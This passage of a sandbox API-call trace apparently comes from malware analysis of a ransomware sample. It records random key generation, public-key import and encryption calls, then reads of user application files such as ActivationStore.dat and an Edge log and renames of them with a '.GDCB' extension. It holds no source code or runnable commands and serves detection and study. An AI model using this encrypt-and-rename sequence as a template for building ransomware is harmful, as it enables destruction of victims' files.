hKey=0x67ac730, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0296.739] CryptEncrypt (in: hKey=0x67ac730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd910000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd910000*, pdwDataLen=0x285e050*=0x100) returned 1 [0296.739] GetLastError () returned 0x0 [0296.740] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.740] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Microsoft.AAD.BrokerPlugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\microsoft.aad.brokerplugin_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.764] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0296.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.770] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.770] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0296.770] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.770] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0296.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.776] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.776] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0296.776] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.777] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0296.779] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac770) returned 1 [0296.779] CryptGetKeyParam (in: hKey=0x67ac770, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0296.779] CryptEncrypt (in: hKey=0x67ac770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd920000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd920000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0296.780] GetLastError () returned 0x0 [0296.780] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.780] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0296.782] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac570) returned 1 [0296.782] CryptGetKeyParam (in: hKey=0x67ac570, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0296.782] CryptEncrypt (in: hKey=0x67ac570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd930000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd930000*, pdwDataLen=0x285e050*=0x100) returned 1 [0296.782] GetLastError () returned 0x0 [0296.782] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0296.782] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0296.784] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd940000 [0296.787] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd950000 [0296.790] ReadFile (in: hFile=0x500, lpBuffer=0xd950000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd950000*, lpNumberOfBytesRead=0x285e090*=0x10000, lpOverlapped=0x0) returned 1 [0296.852] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xda60000 [0296.861] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0296.879] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0296.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.885] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.885] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0296.885] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.885] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0296.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.894] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0296.894] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0296.894] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0296.894] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0296.896] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac1b0) returned 1 [0296.896] CryptGetKeyParam (in: hKey=0x67ac1b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0296.896] CryptEncrypt (in: hKey=0x67ac1b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0296.897] GetLastError () returned 0x0 [0296.897] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.897] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0296.899] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac4f0) returned 1 [0296.899] CryptGetKeyParam (in: hKey=0x67ac4f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0296.899] CryptEncrypt (in: hKey=0x67ac4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285e050*=0x100) returned 1 [0296.899] GetLastError () returned 0x0 [0296.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0296.899] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0296.900] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0296.905] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0296.908] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x4210, lpOverlapped=0x0) returned 1 [0296.915] VirtualAlloc (lpAddress=0x0, dwSize=0x4210, flAllocationType=0x3000, flProtect=0x4) returned 0x560000 [0296.922] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0297.011] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0297.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.018] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0297.018] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.018] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0297.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.023] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.023] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0297.023] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.023] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.025] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac7b0) returned 1 [0297.025] CryptGetKeyParam (in: hKey=0x67ac7b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.025] CryptEncrypt (in: hKey=0x67ac7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0297.025] GetLastError () returned 0x0 [0297.025] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.026] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.028] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac870) returned 1 [0297.028] CryptGetKeyParam (in: hKey=0x67ac870, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.028] CryptEncrypt (in: hKey=0x67ac870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285e050*=0x100) returned 1 [0297.028] GetLastError () returned 0x0 [0297.028] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.028] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0297.029] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.033] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.035] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x2000, lpOverlapped=0x0) returned 1 [0297.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x560000 [0297.051] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0297.085] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0297.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.091] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.092] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0297.092] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.092] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0297.096] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.098] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.098] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0297.098] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.099] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0297.101] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ac830) returned 1 [0297.101] CryptGetKeyParam (in: hKey=0x67ac830, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.101] CryptEncrypt (in: hKey=0x67ac830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0297.102] GetLastError () returned 0x0 [0297.102] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0297.102] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0297.104] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67acef0) returned 1 [0297.104] CryptGetKeyParam (in: hKey=0x67acef0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0297.104] CryptEncrypt (in: hKey=0x67acef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285e050*=0x100) returned 1 [0297.104] GetLastError () returned 0x0 [0297.104] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.104] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0297.105] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.108] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.111] ReadFile (in: hFile=0x3c8, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xd920000*, lpNumberOfBytesRead=0x285e090*=0x4210, lpOverlapped=0x0) returned 1 [0297.119] VirtualAlloc (lpAddress=0x0, dwSize=0x4210, flAllocationType=0x3000, flProtect=0x4) returned 0x560000 [0297.126] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0297.261] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0297.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.268] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.268] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0297.268] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.268] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0297.272] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0297.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0297.275] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0297.275] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.275] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0297.278] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67ace70) returned 1 [0297.283] CryptGetKeyParam (in: hKey=0x67ace70, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0297.283] CryptEncrypt (in: hKey=0x67ace70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x530000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x530000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0297.284] GetLastError () returned 0x0 [0297.284] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0297.284] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0297.286] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67accb0) returned 1 [0297.286] CryptGetKeyParam (in: hKey=0x67accb0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0297.286] CryptEncrypt (in: hKey=0x67accb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x540000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x540000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0297.287] GetLastError () returned 0x0 [0297.287] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0297.287] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0297.288] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x550000 [0297.291] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd920000 [0297.295] ReadFile (in: hFile=0x528, lpBuffer=0xd920000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, 